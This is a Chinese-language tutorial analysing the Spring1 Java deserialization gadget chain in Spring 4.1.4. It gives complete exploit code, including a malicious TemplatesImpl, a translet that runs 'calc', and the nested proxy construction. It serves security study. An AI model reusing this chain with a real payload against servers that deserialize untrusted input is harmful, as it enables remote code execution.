springframework 是spring 里面的一个基础开源框架,主要用于javaee的企业开发
Spring是什么呢?首先它是一个开源的项目,而且非常活跃
- 它是一个基于IOC和AOP的构架多层j2ee系统的框架,但它不强迫你必须在每一层中必须使用Spring,因为它模块化的很好,允许你根据自己的需要选择使用它的某一个模块
- 它实现了很优雅的MVC,对不同的数据访问技术提供了统一的接口,采用IOC使得可以很容易的实现bean的装配,提供了简洁的AOP并据此实现Transaction Management
springframework也存在反序列化的漏洞
JAVA环境
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
依赖版本
- spring-core 依赖版本:4.1.4.RELEASE
- spring-beans 依赖版本:4.1.4.RELEASE
- jdk 版本:1.7
检查依赖配置
确认项目中是否正确引入了
- spring-core
- spring-beans
的依赖。如果使用的是 Maven,可以在 pom.xml
文件中添加以下依赖:
<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
资源下载
- maven spring-beans 4.1.4.RELEASE
- maven spring-core 4.1.4.RELEASE
- Java7 下载
- Spring框架 v4.1.4.RELEASE 源码
前置知识
MethodInvokeTypeProvider - kick-off
在 Spring 核心包中存在这样一个内部类:
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
static class MethodInvokeTypeProvider implements TypeProvider {
...
}
构造方法
这个类实现了 TypeProvider
接口,是一个可以被反序列化的类
public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
this.provider = provider;
this.methodName = method.getName();
this.index = index;
this.result = ReflectionUtils.invokeMethod(method, provider.getType());
}
readObject
看一下 readObject 方法,调用了 ReflectionUtils
:
- 先是
findMethod
返回 Method 对象 - 然后调用
invokeMethod
反射调用- 注意,这里的调用是无参调用
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
虽然使用了反射去获取方法,但这是在 this.provider.getType().getClass()
中寻找方法
如果可以
- 把
methodName
改为newTransformer
方法 - 把
this.provider.getType()
想办法处理成TemplatesImpl
就可以触发漏洞了
ObjectFactoryDelegatingInvocationHandler - chain
在 Spring Beans包中存在这样一个内部类:
org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
...
}
构造方法
ObjectFactoryDelegatingInvocationHandler
是 InvocationHandler
的实现类,实例化时接收一个 ObjectFactory
对象
public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
this.objectFactory = objectFactory;
}
invoke
在 invoke
代理时调用 ObjectFactory
的 getObject
方法返回 ObjectFactory
的实例用于 Method 的反射调用
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
// Only consider equal when proxies are identical.
return (proxy == args[0]);
}
else if (methodName.equals("hashCode")) {
// Use hashCode of proxy.
return System.identityHashCode(proxy);
}
else if (methodName.equals("toString")) {
return this.objectFactory.toString();
}
try {
return method.invoke(this.objectFactory.getObject(), args);
}
catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
}
ObjectFactory
的getObject
方法返回的对象是泛型(T
)的ObjectFactory<T>
中的T是泛型类型参数,允许在编译时指定具体类型,确保类型安全getObject
方法返回类型为T,这意味着它可以返回任何类型的对象,具体类型在实现时确定
- 那就可以用
AnnotationInvocationHandler
来代理,返回任意对象- 动态代理允许在运行时创建代理类,代理类实现指定接口,并在方法调用时执行额外逻辑
ObjectFactory
返回的泛型对象允许代理处理任何类型,而动态代理则提供代理这些对象的能力
而 ObjectFactoryDelegatingInvocationHandler
自己本身就是代理类(InvocationHandler
的实现类),可以用它代理之前的TypeProvider
的 getType
方法
攻击构造
Spring1 的动态代理构造有些复杂,建议读者先看前面两个前置知识里写的类自己思考一下怎么将其结合,这里尽量拆分代码
恶意代码主体
public void Spring1() throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = generateTemplatesImpl();
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Type typeTemplateProxy = ObjectFactoryDelegatingInvocationHandler(constructor, tmpl);
Object objects = TypeProvider(constructor, typeTemplateProxy);
writeObjectToFile((Serializable)objects, fileName);
readFileObject(fileName);
}
恶意TemplatesImpl构造
生成包含恶意类字节码的 TemplatesImpl 类,跟之前的都类似,不再赘述
protected TemplatesImpl generateTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException {
// 读取恶意类存到 bytes[] 数组中
byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForSpring1.class"));
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "neolock");
return tmpl;
}
恶意类构造
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
public class EvilClassForSpring1 extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
// No implementation needed
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
// No implementation needed
}
}
ObjectFactoryDelegatingInvocationHandler
- 使用动态代理初始化
AnnotationInvocationHandler
- 使用
AnnotationInvocationHandler
动态代理ObjectFactory
的getObject
方法,使其返回TemplatesImpl
ObjectFactoryDelegatingInvocationHandler
的 invoke 方法触发ObjectFactory
的getObject
,并且会调用method.invoke(getObject的返回值,args)
- 此时返回值被在第2步我们使用动态代理改为了
TemplatesImpl
- 接下来需要 method 是
newTransformer()
,就可以触发调用链了
- 此时返回值被在第2步我们使用动态代理改为了
- 使用动态代理出的
ObjectFactory
类实例化ObjectFactoryDelegatingInvocationHandler
ObjectFactoryDelegatingInvocationHandler
本身就是个InvocationHandler
- 使用它来代理一个类,这样在这个类调用时将会触发
ObjectFactoryDelegatingInvocationHandler
的 invoke 方法
- 使用它来代理一个类,这样在这个类调用时将会触发
- 用
ObjectFactoryDelegatingInvocationHandler
代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类- 代理类同时拥有两个类的方法
- 既能被强转为
TypeProvider.getType()
的返回值,又可以在其中找到newTransformer
方法
protected Type ObjectFactoryDelegatingInvocationHandler(Constructor<?> constructor, TemplatesImpl tmpl) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
Map<String, Object> map = new HashMap<String, Object>();
map.put("getObject", tmpl);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
// ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject,并且会调用 method.invoke(返回值,args)
// 此时返回值被我们使用动态代理改为了 TemplatesImpl,接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);
return typeTemplateProxy;
}
TypeProvider
- 使用动态代理初始化
AnnotationInvocationHandler
- 使用
AnnotationInvocationHandler
动态代理TypeProvider
的getType
方法,使其返回Type
- 初始化
MethodInvokeTypeProvider
MethodInvokeTypeProvider
初始化时会立即调用ReflectionUtils.invokeMethod(method, provider.getType())
- 所以初始化时先随便给个 method,
methodName
后续使用反射写进去
protected Object TypeProvider(Constructor<?> constructor, Type typeTemplateProxy) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException {
// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map = new HashMap<>();
map.put("getType", typeTemplateProxy);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, invocationHandler);
// 初始化 MethodInvokeTypeProvider
Class<?> clazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Field field = clazz.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");
return objects;
}
总结
以上就是 Spring1 链分析的全部内容了,梳理动态代理的时候真是一阵一阵地头大,最后总结一下
利用说明
多次动态代理,利用动态代理的反射调用机制延长调用链,Spring1 的链与 Groovy 有些类似
下一篇就梳理一下Groovy吧,Spring2先缓缓
Gadget 总结
- kick-off gadget:
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
- chain gadget:
org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler#invoke
调用链展示
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
ReflectionUtils.invokeMethod()
Templates(Proxy).newTransformer()
AutowireUtils$ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
TemplatesImpl.newTransformer()